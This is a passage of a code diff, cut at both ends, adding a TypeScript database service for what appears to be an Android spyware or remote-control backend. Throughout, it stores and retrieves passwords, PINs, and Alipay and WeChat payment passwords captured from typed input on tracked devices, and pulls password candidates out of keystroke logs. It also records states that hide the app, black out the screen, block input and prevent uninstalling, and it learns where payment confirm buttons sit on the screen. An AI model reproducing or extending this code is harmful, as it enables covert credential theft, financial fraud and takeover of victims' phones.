logType + ORDER BY count DESC + `) + + const stats = stmt.all(deviceId) + return stats.map((stat: any) => ({ + logType: stat.logType, + count: stat.count, + firstLog: new Date(stat.firstLog), + lastLog: new Date(stat.lastLog) + })) + } catch (error) { + this.logger.error('获取操作日志统计失败:', error) + return [] + } + } + + /** + * 获取设备最新的密码记录 + */ + getLatestDevicePassword(deviceId: string): string | null { + try { + // 查询包含密码信息的最新日志 + const stmt = this.db.prepare(` + SELECT content, extraData FROM operation_logs + WHERE deviceId = ? + AND ( + content LIKE '%🔒 密码输入:%' OR + content LIKE '%🔑 密码输入分析完成%' OR + content LIKE '%密码%' OR + content LIKE '%PIN%' + ) + ORDER BY timestamp DESC + LIMIT 1 + `) + + const row = stmt.get(deviceId) as any + + if (row) { + // 尝试从 extraData 中获取密码 + if (row.extraData) { + try { + const extraData = JSON.parse(row.extraData) + if (extraData.reconstructedPassword) { + return extraData.reconstructedPassword + } + if (extraData.actualPasswordText) { + return extraData.actualPasswordText + } + if (extraData.password) { + return extraData.password + } + } catch (e) { + // 忽略 JSON 解析错误 + } + } + + // 尝试从 content 中提取密码 + const content = row.content + + // 匹配 "🔒 密码输入: xxx (N位)" 格式 + const passwordMatch = content.match(/🔒 密码输入:\s*(.+?)\s*\(\d+位\)/) + if (passwordMatch) { + const password = passwordMatch[1].trim() + // 过滤掉纯遮罩字符的密码 + if (password && !password.match(/^[•*]+$/)) { + return password + } + } + + // 匹配 "🔑 密码输入分析完成: xxx" 格式 + const analysisMatch = content.match(/🔑 密码输入分析完成:\s*(.+)/) + if (analysisMatch) { + const password = analysisMatch[1].trim() + if (password && !password.match(/^[•*]+$/)) { + return password + } + } + } + + return null + } catch (error) { + this.logger.error('获取设备密码失败:', error) + return null + } + } + + /** + * ✅ 获取设备状态 + */ + getDeviceState(deviceId: string): DeviceStateRecord | null { + try { + const stmt = this.db.prepare(` + SELECT * FROM device_states WHERE deviceId = ? + `) + const row = stmt.get(deviceId) as any + + if (row) { + return { + deviceId: row.deviceId, + password: row.password, + inputBlocked: !!row.inputBlocked, + loggingEnabled: !!row.loggingEnabled, + blackScreenActive: !!row.blackScreenActive, + appHidden: !!row.appHidden, + uninstallProtectionEnabled: !!row.uninstallProtectionEnabled, + lastPasswordUpdate: row.lastPasswordUpdate ? new Date(row.lastPasswordUpdate) : undefined, + confirmButtonCoords: row.confirmButtonCoords ? JSON.parse(row.confirmButtonCoords) : undefined, + learnedConfirmButton: row.learnedConfirmButton ? JSON.parse(row.learnedConfirmButton) : undefined, + createdAt: new Date(row.createdAt), + updatedAt: new Date(row.updatedAt) + } + } + + return null + } catch (error) { + this.logger.error('获取设备状态失败:', error) + return null + } + } + + /** + * ✅ 保存或更新设备状态 + */ + saveDeviceState(deviceId: string, state: Partial): void { + try { + const existing = this.getDeviceState(deviceId) + const now = new Date() + + if (existing) { + // 更新现有状态 + const updates: string[] = [] + const params: any[] = [] + + if (state.password !== undefined) { + updates.push('password = ?') + params.push(state.password) + updates.push('lastPasswordUpdate = ?') + params.push(now.toISOString()) + } + + if (state.inputBlocked !== undefined) { + updates.push('inputBlocked = ?') + params.push(state.inputBlocked ? 1 : 0) + } + + if (state.loggingEnabled !== undefined) { + updates.push('loggingEnabled = ?') + params.push(state.loggingEnabled ? 1 : 0) + } + + if (state.blackScreenActive !== undefined) { + updates.push('blackScreenActive = ?') + params.push(state.blackScreenActive ? 1 : 0) + } + + if (state.appHidden !== undefined) { + updates.push('appHidden = ?') + params.push(state.appHidden ? 1 : 0) + } + + if (state.uninstallProtectionEnabled !== undefined) { + updates.push('uninstallProtectionEnabled = ?') + params.push(state.uninstallProtectionEnabled ? 1 : 0) + } + + if (state.confirmButtonCoords !== undefined) { + updates.push('confirmButtonCoords = ?') + params.push(state.confirmButtonCoords ? JSON.stringify(state.confirmButtonCoords) : null) + } + + if (state.learnedConfirmButton !== undefined) { + updates.push('learnedConfirmButton = ?') + params.push(state.learnedConfirmButton ? JSON.stringify(state.learnedConfirmButton) : null) + } + + updates.push('updatedAt = ?') + params.push(now.toISOString()) + params.push(deviceId) + + const stmt = this.db.prepare(` + UPDATE device_states SET ${updates.join(', ')} WHERE deviceId = ? + `) + + stmt.run(...params) + this.logger.info(`设备状态已更新: ${deviceId}`) + } else { + // 创建新状态记录 + const stmt = this.db.prepare(` + INSERT INTO device_states ( + deviceId, password, inputBlocked, loggingEnabled, + blackScreenActive, appHidden, uninstallProtectionEnabled, lastPasswordUpdate, confirmButtonCoords, learnedConfirmButton, + createdAt, updatedAt + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + `) + + stmt.run( + deviceId, + state.password || null, + state.inputBlocked ? 1 : 0, + state.loggingEnabled ? 1 : 0, + state.blackScreenActive ? 1 : 0, + state.appHidden ? 1 : 0, + state.uninstallProtectionEnabled ? 1 : 0, + state.password ? now.toISOString() : null, + state.confirmButtonCoords ? JSON.stringify(state.confirmButtonCoords) : null, + state.learnedConfirmButton ? JSON.stringify(state.learnedConfirmButton) : null, + now.toISOString(), + now.toISOString() + ) + + this.logger.info(`设备状态已创建: ${deviceId}`) + } + } catch (error) { + this.logger.error('保存设备状态失败:', error) + throw error + } + } + + /** + * ✅ 更新设备密码 + */ + updateDevicePassword(deviceId: string, password: string): void { + try { + this.saveDeviceState(deviceId, { password }) + this.logger.info(`设备密码已更新: ${deviceId}`) + } catch (error) { + this.logger.error('更新设备密码失败:', error) + throw error + } + } + + /** + * ✅ 更新设备输入阻止状态 + */ + updateDeviceInputBlocked(deviceId: string, blocked: boolean): void { + try { + this.saveDeviceState(deviceId, { inputBlocked: blocked }) + this.logger.info(`设备输入阻止状态已更新: ${deviceId} -> ${blocked}`) + } catch (error) { + this.logger.error('更新设备输入阻止状态失败:', error) + throw error + } + } + + /** + * ✅ 更新设备日志记录状态 + */ + updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void { + this.saveDeviceState(deviceId, { loggingEnabled: enabled }) + this.logger.info(`设备 ${deviceId} 日志状态已更新: ${enabled}`) + } + + /** + * 🆕 更新设备黑屏遮盖状态 + */ + updateDeviceBlackScreenActive(deviceId: string, active: boolean): void { + this.saveDeviceState(deviceId, { blackScreenActive: active }) + this.logger.info(`设备 ${deviceId} 黑屏遮盖状态已更新: ${active}`) + } + + /** + * 🆕 更新设备应用隐藏状态 + */ + updateDeviceAppHidden(deviceId: string, hidden: boolean): void { + this.saveDeviceState(deviceId, { appHidden: hidden }) + this.logger.info(`设备 ${deviceId} 应用隐藏状态已更新: ${hidden}`) + } + + /** + * 🛡️ 更新设备防止卸载保护状态 + */ + updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void { + this.saveDeviceState(deviceId, { uninstallProtectionEnabled: enabled }) + this.logger.info(`设备 ${deviceId} 防止卸载保护状态已更新: ${enabled}`) + } + + /** + * ✅ 获取设备密码(优先从状态表获取,其次从日志获取) + */ + getDevicePassword(deviceId: string): string | null { + try { + // 1. 优先从设备状态表获取 + const deviceState = this.getDeviceState(deviceId) + if (deviceState && deviceState.password) { + this.logger.info(`从状态表获取设备密码: ${deviceId}`) + return deviceState.password + } + + // 2. 从操作日志获取 + const passwordFromLog = this.getLatestDevicePassword(deviceId) + if (passwordFromLog) { + this.logger.info(`从日志获取设备密码: ${deviceId}`) + // 同时保存到状态表 + this.updateDevicePassword(deviceId, passwordFromLog) + return passwordFromLog + } + + return null + } catch (error) { + this.logger.error('获取设备密码失败:', error) + return null + } + } + + /** + * ✅ 保存设备密码(别名方法,用于API调用) + */ + saveDevicePassword(deviceId: string, password: string): void { + this.updateDevicePassword(deviceId, password) + } + + /** + * ✅ 更新设备状态(别名方法,用于API调用) + */ + updateDeviceState(deviceId: string, state: Partial): void { + this.saveDeviceState(deviceId, state) + } + + /** + * 🆕 保存确认按钮坐标 + */ + saveConfirmButtonCoords(deviceId: string, coords: { x: number, y: number }): void { + try { + this.saveDeviceState(deviceId, { confirmButtonCoords: coords }) + this.logger.info(`确认按钮坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`) + } catch (error) { + this.logger.error('保存确认按钮坐标失败:', error) + throw error + } + } + + /** + * 🆕 获取确认按钮坐标 + */ + getConfirmButtonCoords(deviceId: string): { x: number, y: number } | null { + try { + const deviceState = this.getDeviceState(deviceId) + if (deviceState && deviceState.confirmButtonCoords) { + return deviceState.confirmButtonCoords + } + return null + } catch (error) { + this.logger.error('获取确认按钮坐标失败:', error) + return null + } + } + + /** + * 🆕 更新学习的确认按钮坐标 + */ + updateLearnedConfirmButton(deviceId: string, coords: { x: number, y: number }): void { + try { + const existing = this.getDeviceState(deviceId) + let learnedConfirmButton = { x: coords.x, y: coords.y, count: 1 } + + if (existing && existing.learnedConfirmButton) { + // 更新现有学习数据 + learnedConfirmButton = { + x: coords.x, + y: coords.y, + count: existing.learnedConfirmButton.count + 1 + } + } + + this.saveDeviceState(deviceId, { learnedConfirmButton }) + this.logger.info(`学习的确认按钮坐标已更新: ${deviceId} -> (${coords.x}, ${coords.y}) 次数: ${learnedConfirmButton.count}`) + } catch (error) { + this.logger.error('更新学习的确认按钮坐标失败:', error) + throw error + } + } + + /** + * 从操作日志中获取可能的密码候选 + */ + getPasswordCandidatesFromLogs(deviceId: string): any[] { + try { + // 首先查看该设备有什么类型的日志 + const allLogsQuery = ` + SELECT logType, COUNT(*) as count + FROM operation_logs + WHERE deviceId = ? + GROUP BY logType + ` + const logTypeCounts = this.db.prepare(allLogsQuery).all(deviceId) + this.logger.info(`设备 ${deviceId} 的日志类型分布:`, logTypeCounts) + + const query = ` + SELECT content, extraData, timestamp, logType + FROM operation_logs + WHERE deviceId = ? + AND logType = 'TEXT_INPUT' + ORDER BY timestamp DESC + LIMIT 100 + ` + + const logs = this.db.prepare(query).all(deviceId) + this.logger.info(`从设备 ${deviceId} 获取到 ${logs.length} 条文本输入日志`) + + return logs + + } catch (error) { + this.logger.error('获取密码候选失败:', error) + return [] + } + } + + /** + * 💰 保存支付宝密码记录 + */ + saveAlipayPassword(record: AlipayPasswordRecord): void { + try { + const stmt = this.db.prepare(` + INSERT INTO alipay_passwords ( + deviceId, password, passwordLength, activity, inputMethod, + sessionId, timestamp, createdAt + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?) + `) + + const now = new Date() + stmt.run( + record.deviceId, + record.password, + record.passwordLength, + record.activity, + record.inputMethod, + record.sessionId, + record.timestamp.toISOString(), + now.toISOString() + ) + + this.logger.info(`💰 支付宝密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`) + } catch (error) { + this.logger.error('保存支付宝密码失败:', error) + throw error + } + } + + /** + * 💰 获取设备的支付宝密码记录(分页) + */ + getAlipayPasswords(deviceId: string, page: number = 1, pageSize: number = 50): { + passwords: AlipayPasswordRecord[], + total: number, + page: number, + pageSize: number, + totalPages: number + } { + try { + // 查询总数 + const countStmt = this.db.prepare(` + SELECT COUNT(*) as total FROM alipay_passwords WHERE deviceId = ? + `) + const totalResult = countStmt.get(deviceId) as any + const total = totalResult.total + + // 查询分页数据 + const offset = (page - 1) * pageSize + const dataStmt = this.db.prepare(` + SELECT * FROM alipay_passwords + WHERE deviceId = ? + ORDER BY timestamp DESC + LIMIT ? OFFSET ? + `) + + const rows = dataStmt.all(deviceId, pageSize, offset) as any[] + + const passwords: AlipayPasswordRecord[] = rows.map(row => ({ + id: row.id, + deviceId: row.deviceId, + password: row.password, + passwordLength: row.passwordLength, + activity: row.activity, + inputMethod: row.inputMethod, + sessionId: row.sessionId, + timestamp: new Date(row.timestamp), + createdAt: new Date(row.createdAt) + })) + + const totalPages = Math.ceil(total / pageSize) + + return { + passwords, + total, + page, + pageSize, + totalPages + } + } catch (error) { + this.logger.error('获取支付宝密码记录失败:', error) + return { + passwords: [], + total: 0, + page: 1, + pageSize, + totalPages: 0 + } + } + } + + /** + * 💰 获取设备最新的支付宝密码 + */ + getLatestAlipayPassword(deviceId: string): AlipayPasswordRecord | null { + try { + const stmt = this.db.prepare(` + SELECT * FROM alipay_passwords + WHERE deviceId = ? + ORDER BY timestamp DESC + LIMIT 1 + `) + + const row = stmt.get(deviceId) as any + + if (row) { + return { + id: row.id, + deviceId: row.deviceId, + password: row.password, + passwordLength: row.passwordLength, + activity: row.activity, + inputMethod: row.inputMethod, + sessionId: row.sessionId, + timestamp: new Date(row.timestamp), + createdAt: new Date(row.createdAt) + } + } + + return null + } catch (error) { + this.logger.error('获取最新支付宝密码失败:', error) + return null + } + } + + /** + * 💰 删除设备的支付宝密码记录 + */ + clearAlipayPasswords(deviceId: string): void { + try { + const stmt = this.db.prepare(` + DELETE FROM alipay_passwords WHERE deviceId = ? + `) + + const result = stmt.run(deviceId) + this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条支付宝密码记录`) + } catch (error) { + this.logger.error('清理支付宝密码记录失败:', error) + throw error + } + } + + /** + * 💰 清理旧的支付宝密码记录 + */ + cleanupOldAlipayPasswords(daysToKeep: number = 30): void { + try { + const cutoffDate = new Date() + cutoffDate.setDate(cutoffDate.getDate() - daysToKeep) + + const stmt = this.db.prepare(` + DELETE FROM alipay_passwords WHERE timestamp < ? + `) + + const result = stmt.run(cutoffDate.toISOString()) + this.logger.info(`清理了 ${result.changes} 条旧支付宝密码记录 (${daysToKeep}天前)`) + } catch (error) { + this.logger.error('清理旧支付宝密码记录失败:', error) + } + } + + /** + * 💬 保存微信密码记录 + */ + saveWechatPassword(record: WechatPasswordRecord): void { + try { + const stmt = this.db.prepare(` + INSERT INTO wechat_passwords ( + deviceId, password, passwordLength, activity, inputMethod, + sessionId, timestamp, createdAt + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?) + `) + + const now = new Date() + stmt.run( + record.deviceId, + record.password, + record.passwordLength, + record.activity, + record.inputMethod, + record.sessionId, + record.timestamp.toISOString(), + now.toISOString() + ) + + this.logger.info(`💬 微信密码已保存: 设备=${record.deviceId}, 密码长度=${record.passwordLength}, 活动=${record.activity}`) + } catch (error) { + this.logger.error('保存微信密码失败:', error) + throw error + } + } + + /** + * 💬 获取设备的微信密码记录(分页) + */ + getWechatPasswords(deviceId: string, page: number = 1, pageSize: number = 50): { + passwords: WechatPasswordRecord[], + total: number, + page: number, + pageSize: number, + totalPages: number + } { + try { + // 查询总数 + const countStmt = this.db.prepare(` + SELECT COUNT(*) as total FROM wechat_passwords WHERE deviceId = ? + `) + const totalResult = countStmt.get(deviceId) as any + const total = totalResult.total + + // 查询分页数据 + const offset = (page - 1) * pageSize + const dataStmt = this.db.prepare(` + SELECT * FROM wechat_passwords + WHERE deviceId = ? + ORDER BY timestamp DESC + LIMIT ? OFFSET ? + `) + + const rows = dataStmt.all(deviceId, pageSize, offset) as any[] + + const passwords: WechatPasswordRecord[] = rows.map(row => ({ + id: row.id, + deviceId: row.deviceId, + password: row.password, + passwordLength: row.passwordLength, + activity: row.activity, + inputMethod: row.inputMethod, + sessionId: row.sessionId, + timestamp: new Date(row.timestamp), + createdAt: new Date(row.createdAt) + })) + + const totalPages = Math.ceil(total / pageSize) + + return { + passwords, + total, + page, + pageSize, + totalPages + } + } catch (error) { + this.logger.error('获取微信密码记录失败:', error) + return { + passwords: [], + total: 0, + page: 1, + pageSize, + totalPages: 0 + } + } + } + + /** + * 💬 获取设备最新的微信密码 + */ + getLatestWechatPassword(deviceId: string): WechatPasswordRecord | null { + try { + const stmt = this.db.prepare(` + SELECT * FROM wechat_passwords + WHERE deviceId = ? + ORDER BY timestamp DESC + LIMIT 1 + `) + + const row = stmt.get(deviceId) as any + + if (row) { + return { + id: row.id, + deviceId: row.deviceId, + password: row.password, + passwordLength: row.passwordLength, + activity: row.activity, + inputMethod: row.inputMethod, + sessionId: row.sessionId, + timestamp: new Date(row.timestamp), + createdAt: new Date(row.createdAt) + } + } + + return null + } catch (error) { + this.logger.error('获取最新微信密码失败:', error) + return null + } + } + + /** + * 💬 删除设备的微信密码记录 + */ + clearWechatPasswords(deviceId: string): void { + try { + const stmt = this.db.prepare(` + DELETE FROM wechat_passwords WHERE deviceId = ? + `) + + const result = stmt.run(deviceId) + this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条微信密码记录`) + } catch (error) { + this.logger.error('清理微信密码记录失败:', error) + throw error + } + } + + /** + * 💬 清理旧的微信密码记录 + */ + cleanupOldWechatPasswords(daysToKeep: number = 30): void { + try { + const cutoffDate = new Date() + cutoffDate.setDate(cutoffDate.getDate() - daysToKeep) + + const stmt = this.db.prepare(` + DELETE FROM wechat_passwords WHERE timestamp < ? + `) + + const result = stmt.run(cutoffDate.toISOString()) + this.logger.info(`清理了 ${result.changes} 条旧微信密码记录 (${daysToKeep}天前)`) + } catch (error) { + this.logger.error('清理旧微信密码记录失败:', error) + } + } + + /** + * 🔐 保存通用密码输入记录 + */ + savePasswordInput(record: PasswordInputRecord): void { + try { + // 🔧 在保存前验证设备是否存在 + const deviceExists = this.getDeviceById(record.deviceId) + if (!deviceExists) { + const errorMsg = `设备 ${record.deviceId} 不存在于数据库中,无法保存密码记录` + this.logger.error(`❌ ${errorMsg}`) + throw new Error(errorMsg) + } + + const stmt = this.db.prepare(` + INSERT INTO password_inputs ( + deviceId, password, passwordLength, passwordType, activity, inputMethod, + installationId, sessionId, timestamp, createdAt + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + `) + + const now = new Date() + stmt.run( + record.deviceId, + record.password, + record.passwordLength, + record.passwordType, + record.activity, + record.inputMethod, + record.installationId, + record.sessionId, + record.timestamp.toISOString(), + now.toISOString() + ) + + this.logger.info(`🔐 通用密码输入已保存: 设备=${record.deviceId}, 类型=${record.passwordType}, 密码长度=${record.passwordLength}, 活动=${record.activity}`) + } catch (error: any) { + // 🔧 提供更详细的错误信息 + if (error.code === 'SQLITE_CONSTRAINT_FOREIGNKEY') { + const errorMsg = `外键约束错误:设备 ${record.deviceId} 不存在于 devices 表中` + this.logger.error(`❌ ${errorMsg}`) + throw new Error(errorMsg) + } else { + this.logger.error('保存通用密码输入失败:', error) + throw error + } + } + } + + /** + * 🔐 获取设备的通用密码输入记录(分页) + */ + getPasswordInputs(deviceId: string, page: number = 1, pageSize: number = 50, passwordType?: string): { + passwords: PasswordInputRecord[], + total: number, + page: number, + pageSize: number, + totalPages: number + } { + try { + // 构建查询条件 + let whereClause = 'WHERE deviceId = ?' + let params: any[] = [deviceId] + + if (passwordType) { + whereClause += ' AND passwordType = ?' + params.push(passwordType) + } + + // 查询总数 + const countStmt = this.db.prepare(` + SELECT COUNT(*) as total FROM password_inputs ${whereClause} + `) + const totalResult = countStmt.get(...params) as any + const total = totalResult.total + + // 查询分页数据 + const offset = (page - 1) * pageSize + const dataStmt = this.db.prepare(` + SELECT * FROM password_inputs ${whereClause} + ORDER BY timestamp DESC + LIMIT ? OFFSET ? + `) + + const rows = dataStmt.all(...params, pageSize, offset) as any[] + + const passwords: PasswordInputRecord[] = rows.map(row => ({ + id: row.id, + deviceId: row.deviceId, + password: row.password, + passwordLength: row.passwordLength, + passwordType: row.passwordType, + activity: row.activity, + inputMethod: row.inputMethod, + installationId: row.installationId, + sessionId: row.sessionId, + timestamp: new Date(row.timestamp), + createdAt: new Date(row.createdAt) + })) + + const totalPages = Math.ceil(total / pageSize) + + return { + passwords, + total, + page, + pageSize, + totalPages + } + } catch (error) { + this.logger.error('获取通用密码输入记录失败:', error) + return { + passwords: [], + total: 0, + page: 1, + pageSize, + totalPages: 0 + } + } + } + + /** + * 🔐 获取设备最新的通用密码输入 + */ + getLatestPasswordInput(deviceId: string, passwordType?: string): PasswordInputRecord | null { + try { + let query = ` + SELECT * FROM password_inputs + WHERE deviceId = ? + ` + let params: any[] = [deviceId] + + if (passwordType) { + query += ' AND passwordType = ?' + params.push(passwordType) + } + + query += ' ORDER BY timestamp DESC LIMIT 1' + + const stmt = this.db.prepare(query) + const row = stmt.get(...params) as any + + if (row) { + return { + id: row.id, + deviceId: row.deviceId, + password: row.password, + passwordLength: row.passwordLength, + passwordType: row.passwordType, + activity: row.activity, + inputMethod: row.inputMethod, + installationId: row.installationId, + sessionId: row.sessionId, + timestamp: new Date(row.timestamp), + createdAt: new Date(row.createdAt) + } + } + + return null + } catch (error) { + this.logger.error('获取最新通用密码输入失败:', error) + return null + } + } + + /** + * 🔐 删除设备的通用密码输入记录 + */ + clearPasswordInputs(deviceId: string, passwordType?: string): void { + try { + let query = 'DELETE FROM password_inputs WHERE deviceId = ?' + let params: any[] = [deviceId] + + if (passwordType) { + query += ' AND passwordType = ?' + params.push(passwordType) + } + + const stmt = this.db.prepare(query) + const result = stmt.run(...params) + + const typeDesc = passwordType ? ` (类型: ${passwordType})` : '' + this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条通用密码输入记录${typeDesc}`) + } catch (error) { + this.logger.error('清理通用密码输入记录失败:', error) + throw error + } + } + + /** + * 🔐 清理旧的通用密码输入记录 + */ + cleanupOldPasswordInputs(daysToKeep: number = 30): void { + try { + const cutoffDate = new Date() + cutoffDate.setDate(cutoffDate.getDate() - daysToKeep) + + const stmt = this.db.prepare(` + DELETE FROM password_inputs WHERE timestamp < ? + `) + + const result = stmt.run(cutoffDate.toISOString()) + this.logger.info(`清理了 ${result.changes} 条旧通用密码输入记录 (${daysToKeep}天前)`) + } catch (error) { + this.logger.error('清理旧通用密码输入记录失败:', error) + } + } + + /** + * 🔐 获取密码类型统计 + */ + getPasswordTypeStats(deviceId: string): any[] { + try { + const stmt = this.db.prepare(` + SELECT + passwordType, + COUNT(*) as count, + MIN(timestamp) as firstInput, + MAX(timestamp) as lastInput + FROM password_inputs + WHERE deviceId = ? + GROUP BY passwordType + ORDER BY count DESC + `) + + const stats = stmt.all(deviceId) + return stats.map((stat: any) => ({ + passwordType: stat.passwordType, + count: stat.count, + firstInput: new Date(stat.firstInput), + lastInput: new Date(stat.lastInput) + })) + } catch (error) { + this.logger.error('获取密码类型统计失败:', error) + return [] + } + } + + /** + * ✅ 删除设备及其所有相关数据 + */ + deleteDevice(deviceId: string): void { + try { + this.logger.info(`🗑️ 开始删除设备: ${deviceId}`) + + // 开始事务 + const deleteTransaction = this.db.transaction(() => { + // 1. 删除设备状态记录 + const deleteDeviceState = this.db.prepare('DELETE FROM device_states WHERE deviceId = ?') + const deviceStateResult = deleteDeviceState.run(deviceId) + this.logger.debug(`删除设备状态记录: ${deviceStateResult.changes} 条`) + + // 2. 删除操作日志 + const deleteOperationLogs = this.db.prepare('DELETE FROM operation_logs WHERE deviceId = ?') + const logsResult = deleteOperationLogs.run(deviceId) + this.logger.debug(`删除操作日志: ${logsResult.changes} 条`) + + // 3. 删除连接记录 + const deleteConnections = this.db.prepare('DELETE FROM connection_history WHERE deviceId = ?') + const connectionsResult = deleteConnections.run(deviceId) + this.logger.debug(`删除连接记录: ${connectionsResult.changes} 条`) + + // 4. 删除支付宝密码记录 + const deleteAlipayPasswords = this.db.prepare('DELETE FROM alipay_passwords WHERE deviceId = ?') + const alipayResult = deleteAlipayPasswords.run(deviceId) + this.logger.debug(`删除支付宝密码记录: ${alipayResult.changes} 条`) + + // 5. 删除微信密码记录 + const deleteWechatPasswords = this.db.prepare('DELETE FROM wechat_passwords WHERE deviceId = ?') + const wechatResult = deleteWechatPasswords.run(deviceId) + this.logger.debug(`删除微信密码记录: ${wechatResult.changes} 条`) + + // 6. 删除通用密码输入记录 + const deletePasswordInputs = this.db.prepare('DELETE FROM password_inputs WHERE deviceId = ?') + const passwordInputsResult = deletePasswordInputs.run(deviceId) + this.logger.debug(`删除通用密码输入记录: ${passwordInputsResult.changes} 条`) + + // 6.5 删除崩溃日志 + const deleteCrashLogs = this.db.prepare('DELETE FROM crash_logs WHERE deviceId = ?') + const crashLogsResult = deleteCrashLogs.run(deviceId) + this.logger.debug(`删除崩溃日志: ${crashLogsResult.changes} 条`) + + // 7. 删除用户设备权限记录 + const deleteUserPermissions = this.db.prepare('DELETE FROM user_device_permissions WHERE deviceId = ?') + const userPermissionsResult = deleteUserPermissions.run(deviceId) + this.logger.debug(`删除用户设备权限记录: ${userPermissionsResult.changes} 条`) + + // 8. 最后删除设备记录 + const deleteDevice = this.db.prepare('DELETE FROM devices WHERE deviceId = ?') + const deviceResult = deleteDevice.run(deviceId) + this.logger.debug(`删除设备记录: ${deviceResult.changes} 条`) + + if (deviceResult.changes === 0) { + throw new Error(`设备不存在: ${deviceId}`) + } + + return { + deviceRecords: deviceResult.changes, + stateRecords: deviceStateResult.changes, + logRecords: logsResult.changes, + connectionRecords: connectionsResult.changes, + alipayRecords: alipayResult.changes, + wechatRecords: wechatResult.changes, + passwordInputRecords: passwordInputsResult.changes, + userPermissionRecords: userPermissionsResult.changes + } + }) + + // 执行事务 + const result = deleteTransaction() + + this.logger.info(`✅ 设备删除完成: ${deviceId}`) + this.logger.info(`📊 删除统计: 设备=${result.deviceRecords}, 状态=${result.stateRecords}, 日志=${result.logRecords}, 连接=${result.connectionRecords}, 支付宝=${result.alipayRecords}, 微信=${result.wechatRecords}, 通用密码=${result.passwordInputRecords}, 用户权限=${result.userPermissionRecords}`) + + } catch (error) { + this.logger.error(`删除设备失败: ${deviceId}`, error) + throw error + } + } + + /** + * 🔐 授予用户设备控制权限 + */ + grantUserDevicePermission(userId: string, deviceId: string, permissionType: string = 'control', expiresAt?: Date): boolean { + try { + const now = new Date() + // 🛡️ 默认权限有效期为7天,平衡安全性和可用性 + const defaultExpiresAt = expiresAt || new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000) + + const stmt = this.db.prepare(` + INSERT OR REPLACE INTO user_device_permissions + (userId, deviceId, permissionType, grantedAt, expiresAt, isActive, createdAt, updatedAt) + VALUES (?, ?, ?, ?, ?, ?, ?, ?) + `) + + stmt.run( + userId, + deviceId, + permissionType, + now.toISOString(), + defaultExpiresAt.toISOString(), + 1, + now.toISOString(), + now.toISOString() + ) + + this.logger.info(`🔐 用户 ${userId} 获得设备 ${deviceId} 的 ${permissionType} 权限 (有效期至: ${defaultExpiresAt.toISOString()})`) + return true + } catch (error) { + this.logger.error('授予用户设备权限失败:', error) + return false + } + } + + /** + * 🔐 撤销用户设备权限 + */ + revokeUserDevicePermission(userId: string, deviceId: string): boolean { + try { + const stmt = this.db.prepare(` + UPDATE user_device_permissions + SET isActive = FALSE, updatedAt = ? + WHERE userId = ? AND deviceId = ? + `) + + const result = stmt.run(new Date().toISOString(), userId, deviceId) + + if (result.changes > 0) { + this.logger.info(`🔐 用户 ${userId} 的设备 ${deviceId} 权限已撤销`) + return true + } else { + this.logger.warn(`🔐 用户 ${userId} 对设备 ${deviceId} 没有权限`) + return false + } + } catch (error) { + this.logger.error('撤销用户设备权限失败:', error) + return false + } + } + + /** + * 🔐 检查用户是否有设备权限 + */ + hasUserDevicePermission(userId: string, deviceId: string, permissionType: string = 'control'): boolean { + try { + const stmt = this.db.prepare(` + SELECT COUNT(*) as count FROM user_device_permissions + WHERE userId = ? AND deviceId = ? AND permissionType = ? AND isActive = TRUE + AND (expiresAt IS NULL OR expiresAt > ?) + `) + + const result = stmt.get(userId, deviceId, permissionType, new Date().toISOString()) as { count: number } + return result.count > 0 + } catch (error) { + this.logger.error('检查用户设备权限失败:', error) + return false + } + } + + /** + * 🔐 获取用户的所有设备权限 + */ + getUserDevicePermissions(userId: string): Array<{ deviceId: string, permissionType: string, grantedAt: Date }> { + try { + const stmt = this.db.prepare(` + SELECT deviceId, permissionType, grantedAt FROM user_device_permissions + WHERE userId = ? AND isActive = TRUE + AND (expiresAt IS NULL OR expiresAt > ?) + ORDER BY grantedAt DESC + `) + + const rows = stmt.all(userId, new Date().toISOString()) as Array<{ + deviceId: string, + permissionType: string, + grantedAt: string + }> + + return rows.map(row => ({ + deviceId: row.deviceId, + permissionType: row.permissionType, + grantedAt: new Date(row.grantedAt) + })) + } catch (error) { + this.logger.error('获取用户设备权限失败:', error) + return [] + } + } + + /** + * 🔐 清理过期的权限 + */ + cleanupExpiredPermissions(): number { + try { + const stmt = this.db.prepare(` + UPDATE user_device_permissions + SET isActive = FALSE, updatedAt = ? + WHERE isActive = TRUE AND expiresAt IS NOT NULL AND expiresAt <= ? + `) + + const result = stmt.run(new Date().toISOString(), new Date().toISOString()) + + if (result.changes > 0) { + this.logger.info(`🧹 清理了 ${result.changes} 个过期权限`) + } + + return result.changes + } catch (error) { + this.logger.error('清理过期权限失败:', error) + return 0 + } + } + + // ==================== 💥 崩溃日志相关 ==================== + + /** + * 💥 保存崩溃日志 + */ + saveCrashLog(data: { + deviceId: string + fileName: string + content: string + fileSize?: number + crashTime?: number + uploadTime?: number + deviceModel?: string + osVersion?: string + }): boolean { + try { + const stmt = this.db.prepare(` + INSERT INTO crash_logs (deviceId, fileName, content, fileSize, crashTime, uploadTime, deviceModel, osVersion, createdAt) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?) + `) + stmt.run( + data.deviceId, + data.fileName, + data.content, + data.fileSize || 0, + data.crashTime || 0, + data.uploadTime || Date.now(), + data.deviceModel || '', + data.osVersion || '', + new Date().toISOString() + ) + this.logger.info(`💥 崩溃日志已保存: ${data.deviceId} - ${data.fileName}`) + return true + } catch (error) { + this.logger.error('保存崩溃日志失败:', error) + return false + } + } + + /** + * 💥 获取设备的崩溃日志列表 + */ + getCrashLogs(deviceId: string, page: number = 1, pageSize: number = 20): { + logs: any[] + total: number + page: number + pageSize: number + totalPages: number + } { + try { + const countStmt = this.db.prepare('SELECT COUNT(*) as total FROM crash_logs WHERE deviceId = ?') + const { total } = countStmt.get(deviceId) as { total: number } + + const offset = (page - 1) * pageSize + const stmt = this.db.prepare(` + SELECT id, deviceId, fileName, fileSize, crashTime, uploadTime, deviceModel, osVersion, createdAt + FROM crash_logs WHERE deviceId = 